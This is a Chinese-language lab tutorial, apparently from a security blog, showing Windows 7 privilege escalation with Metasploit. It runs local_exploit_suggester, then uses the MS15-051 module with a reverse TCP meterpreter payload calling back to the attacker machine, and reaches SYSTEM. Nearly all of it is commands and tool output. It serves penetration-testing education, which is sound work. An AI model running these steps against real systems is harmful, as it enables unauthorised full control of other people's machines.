【网络安全】 MSF提权

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环境准备：

名称	系统	位数	IP
攻击机	Kali Linux	64	10.3.0.231
客户端	Windows 7	64	10.3.0.234

当我们通过MSF成功登录靶机时，进行提权时如果报如下，表示没有拿到系统权限

meterpreter > getsystem# 输出
[-] priv_elevate_getsystem: Operation failed: 1726 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)

接下我们演示如何进入提权：

1、切换 msf

meterpreter > bg# 输出
[*] Backgrounding session 2...

2、使用本地漏洞模块

# 用这个模块快速识别系统中可能被利用的漏洞
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester# 输出
msf6 post(multi/recon/local_exploit_suggester) >

3、设置 Session

# session 值通过 sessions -l 查看
msf6 post(multi/recon/local_exploit_suggester) > set session 2# 输出
session => 2

4、运行

msf6 post(multi/recon/local_exploit_suggester) > run# 输出[*] 10.3.0.234 - Collecting local exploits for x64/windows...
[*] 10.3.0.234 - 186 exploit checks are being tried...
[+] 10.3.0.234 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 10.3.0.234 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/cve_2021_40449: The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
[+] 10.3.0.234 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 10.3.0.234 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/ms15_078_atmfd_bof: The service is running, but could not be validated.
[+] 10.3.0.234 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[*] Running check method for exploit 43 / 43
[*] 10.3.0.234 - Valid modules for session 2:
============================#   Name                                                           Potentially Vulnerable?  Check Result-   ----                                                           -----------------------  ------------1   exploit/windows/local/bypassuac_dotnet_profiler                Yes                      The target appears to be vulnerable.2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.3   exploit/windows/local/bypassuac_sdclt                          Yes                      The target appears to be vulnerable.4   exploit/windows/local/cve_2019_1458_wizardopium                Yes                      The target appears to be vulnerable.5   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!6   exploit/windows/local/cve_2020_1054_drawiconex_lpe             Yes                      The target appears to be vulnerable.7   exploit/windows/local/cve_2021_40449                           Yes                      The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!8   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated.9   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.10  exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.11  exploit/windows/local/ms15_078_atmfd_bof                       Yes                      The service is running, but could not be validated.12  exploit/windows/local/ms16_014_wmi_recv_notif                  Yes                      The target appears to be vulnerable.13  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.14  exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.15  exploit/windows/local/always_install_elevated                  No                       The target is not exploitable.16  exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable.17  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable.18  exploit/windows/local/bypassuac_sluihijack                     No                       The target is not exploitable.19  exploit/windows/local/canon_driver_privesc                     No                       The target is not exploitable. No Canon TR150 driver directory found20  exploit/windows/local/capcom_sys_exec                          No                       The target is not exploitable.21  exploit/windows/local/cve_2020_0796_smbghost                   No                       The target is not exploitable.22  exploit/windows/local/cve_2020_1048_printerdemon               No                       The target is not exploitable.23  exploit/windows/local/cve_2020_1313_system_orchestrator        No                       The target is not exploitable.24  exploit/windows/local/cve_2020_1337_printerdemon               No                       The target is not exploitable.25  exploit/windows/local/cve_2020_17136                           No                       The target is not exploitable. The build number of the target machine does not appear to be a vulnerable version!26  exploit/windows/local/cve_2021_21551_dbutil_memmove            No                       The target is not exploitable.27  exploit/windows/local/cve_2022_21882_win32k                    No                       The target is not exploitable.28  exploit/windows/local/cve_2022_21999_spoolfool_privesc         No                       The target is not exploitable. Windows 7 is technically vulnerable, though it requires a reboot.29  exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver  No                       The target is not exploitable.30  exploit/windows/local/cve_2023_21768_afd_lpe                   No                       The target is not exploitable. The exploit only supports Windows 11 22H231  exploit/windows/local/gog_galaxyclientservice_privesc          No                       The target is not exploitable. Galaxy Client Service not found32  exploit/windows/local/ikeext_service                           No                       The check raised an exception.33  exploit/windows/local/lexmark_driver_privesc                   No                       The target is not exploitable. No Lexmark print drivers in the driver store34  exploit/windows/local/ms16_075_reflection                      No                       The target is not exploitable.35  exploit/windows/local/ms16_075_reflection_juicy                No                       The target is not exploitable.36  exploit/windows/local/ntapphelpcachecontrol                    No                       The check raised an exception.37  exploit/windows/local/nvidia_nvsvc                             No                       The check raised an exception.38  exploit/windows/local/panda_psevents                           No                       The target is not exploitable.39  exploit/windows/local/ricoh_driver_privesc                     No                       The target is not exploitable. No Ricoh driver directory found40  exploit/windows/local/srclient_dll_hijacking                   No                       The target is not exploitable. Target is not Windows Server 2012.41  exploit/windows/local/tokenmagic                               No                       The target is not exploitable.42  exploit/windows/local/virtual_box_opengl_escape                No                       The target is not exploitable.43  exploit/windows/local/webexec                                  No                       The check raised an exception

5、我们找到一个漏洞，注意：这里不是每个漏洞都可以成功，要多试几个

msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms15_051_client_copy_image# 输出
[*] Using configured payload windows/x64/meterpreter/reverse_tcp

6、查看这个模块的选项，这里有个注意点，因为我的靶机是 win7 64位系统，所以你通过msfvenom 生成的木马也要是64位，这里的 tartget 也要是64位的，如果不是，通过 set target 进行设置

msf6 exploit(windows/local/ms15_051_client_copy_image) > optionsModule options (exploit/windows/local/ms15_051_client_copy_image):Name     Current Setting  Required  Description----     ---------------  --------  -----------SESSION  2                yes       The session to run this module onPayload options (windows/x64/meterpreter/reverse_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)LHOST     10.3.0.231       yes       The listen address (an interface may be specified)LPORT     4444             yes       The listen port# 这里的 tartget 也要是64位的
Exploit target:Id  Name--  ----1   Windows x64

7、再次进行渗透，成功出现meterpreter ，代表成功

msf6 exploit(windows/local/ms15_051_client_copy_image) > run# 输出
[*] Started reverse TCP handler on 10.3.0.231:4444 
[*] Reflectively injecting the exploit DLL and executing it...
[*] Launching netsh to host the DLL...
[+] Process 3804 launched.
[*] Reflectively injecting the DLL into 3804...
[*] Sending stage (200774 bytes) to 10.3.0.234
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 4 opened (10.3.0.231:4444 -> 10.3.0.234:52882) at 2024-03-15 11:47:15 +0800meterpreter >

8、查看权限

meterpreter > getuid# 成功提权
Server username: NT AUTHORITY\SYSTEM

9、再次查看 sessions

msf6 exploit(windows/local/ms15_051_client_copy_image) > sessions -l# 我们发现也多了一个
Active sessions
===============Id  Name  Type                     Information                     Connection--  ----  ----                     -----------                     ----------2         meterpreter x64/windows  tomma-PC\tomma @ TOMMA-PC       10.3.0.231:9999 -> 10.3.0.234:52740 (10.3.0.234)4         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ TOMMA-PC  10.3.0.231:4444 -> 10.3.0.234:52882 (10.3.0.234)